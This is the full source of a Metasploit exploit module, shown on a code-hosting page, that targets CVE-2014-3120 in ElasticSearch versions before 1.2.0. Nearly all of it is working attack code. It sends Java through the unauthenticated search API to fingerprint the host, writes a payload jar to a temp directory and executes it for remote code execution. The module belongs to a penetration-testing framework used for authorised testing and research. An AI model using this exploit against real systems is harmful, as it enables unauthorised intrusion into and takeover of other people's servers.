CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/elasticsearch/script_mvel_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution',
15
'Description' => %q{
16
This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
17
exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the
18
REST API, which does not require authentication, where the search
19
function allows dynamic scripts execution. It can be used for remote attackers
20
to execute arbitrary Java code. This module has been tested successfully on
21
ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3.
22
},
23
'Author' =>
24
[
25
'Alex Brasetvik', # Vulnerability discovery
26
'Bouke van der Bijl', # Vulnerability discovery and PoC
27
'juan vazquez' # Metasploit module
28
],
29
'License' => MSF_LICENSE,
30
'References' =>
31
[
32
['CVE', '2014-3120'],
33
['OSVDB', '106949'],
34
['EDB', '33370'],
35
['URL', 'http://bouk.co/blog/elasticsearch-rce/'],
36
['URL', 'https://www.found.no/foundation/elasticsearch-security/#staying-safe-while-developing-with-elasticsearch']
37
],
38
'Platform' => 'java',
39
'Arch' => ARCH_JAVA,
40
'Targets' =>
41
[
42
[ 'ElasticSearch 1.1.1 / Automatic', { } ]
43
],
44
'DisclosureDate' => '2013-12-09',
45
'DefaultTarget' => 0))
46
47
register_options(
48
[
49
Opt::RPORT(9200),
50
OptString.new('TARGETURI', [ true, 'The path to the ElasticSearch REST API', "/"]),
51
OptString.new("WritableDir", [ true, "A directory where we can write files (only for *nix environments)", "/tmp" ])
52
])
53
end
54
55
def check
56
result = Exploit::CheckCode::Safe
57
58
if vulnerable?
59
result = Exploit::CheckCode::Vulnerable
60
end
61
62
result
63
end
64
65
def exploit
66
print_status("Trying to execute arbitrary Java...")
67
unless vulnerable?
68
fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
69
end
70
71
print_status("Discovering remote OS...")
72
res = execute(java_os)
73
result = parse_result(res)
74
if result.nil?
75
fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
76
else
77
# TODO: It'd be nice to report_host() with this info.
78
print_good("Remote OS is '#{result}'")
79
end
80
81
jar_file = ""
82
if result =~ /win/i
83
print_status("Discovering TEMP path")
84
res = execute(java_tmp_dir)
85
result = parse_result(res)
86
if result.nil?
87
fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
88
else
89
print_good("TEMP path identified: '#{result}'")
90
end
91
jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar"
92
else
93
jar_file = File.join(datastore['WritableDir'], "#{rand_text_alpha(3 + rand(4))}.jar")
94
end
95
96
register_file_for_cleanup(jar_file)
97
execute(java_payload(jar_file))
98
end
99
100
def vulnerable?
101
java = 'System.getProperty("java.class.path")'
102
103
vprint_status("Trying to execute 'System.getProperty(\"java.version\")'...")
104
res = execute(java)
105
result = parse_result(res)
106
107
if result.nil?
108
vprint_status("No results for the Java test")
109
return false
110
elsif result =~ /elasticsearch/
111
vprint_status("Answer to Java test: #{result}")
112
return true
113
else
114
vprint_status("Answer to Java test: #{result}")
115
return false
116
end
117
end
118
119
def parse_result(res)
120
unless res
121
vprint_error("#{peer} no response")
122
return nil
123
end
124
125
unless res.code == 200 && res.body
126
vprint_error("#{peer} responded with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
127
return nil
128
end
129
130
begin
131
json = JSON.parse(res.body.to_s)
132
rescue JSON::ParserError
133
return nil
134
end
135
136
begin
137
result = json['hits']['hits'][0]['fields']['msf_result']
138
rescue
139
return nil
140
end
141
142
result.is_a?(::Array) ? result.first : result
143
end
144
145
def to_java_byte_array(str)
146
buff = "byte[] buf = new byte[#{str.length}];\n"
147
i = 0
148
str.unpack('C*').each do |c|
149
buff << "buf[#{i}] = #{c};\n"
150
i = i + 1
151
end
152
153
buff
154
end
155
156
def java_os
157
"System.getProperty(\"os.name\")"
158
end
159
160
def java_tmp_dir
161
"System.getProperty(\"java.io.tmpdir\");"
162
end
163
164
165
def java_payload(file_name)
166
source = <<-EOF
167
import java.io.*;
168
import java.lang.*;
169
import java.net.*;
170
171
#{to_java_byte_array(payload.encoded_jar.pack)}
172
File f = new File('#{file_name.gsub(/\\/, "/")}');
173
FileOutputStream fs = new FileOutputStream(f);
174
bs = new BufferedOutputStream(fs);
175
bs.write(buf);
176
bs.close();
177
bs = null;
178
URL u = f.toURI().toURL();
179
URLClassLoader cl = new URLClassLoader(new java.net.URL[]{u});
180
Class c = cl.loadClass('metasploit.Payload');
181
c.main(null);
182
EOF
183
184
source
185
end
186
187
def execute(java)
188
payload = {
189
"size" => 1,
190
"query" => {
191
"filtered" => {
192
"query" => {
193
"match_all" => {}
194
}
195
}
196
},
197
"script_fields" => {
198
"msf_result" => {
199
"script" => java
200
}
201
}
202
}
203
204
res = send_request_cgi({
205
'uri' => normalize_uri(target_uri.path.to_s, "_search"),
206
'method' => 'POST',
207
'data' => JSON.generate(payload)
208
})
209
210
return res
211
end
212
end
213
214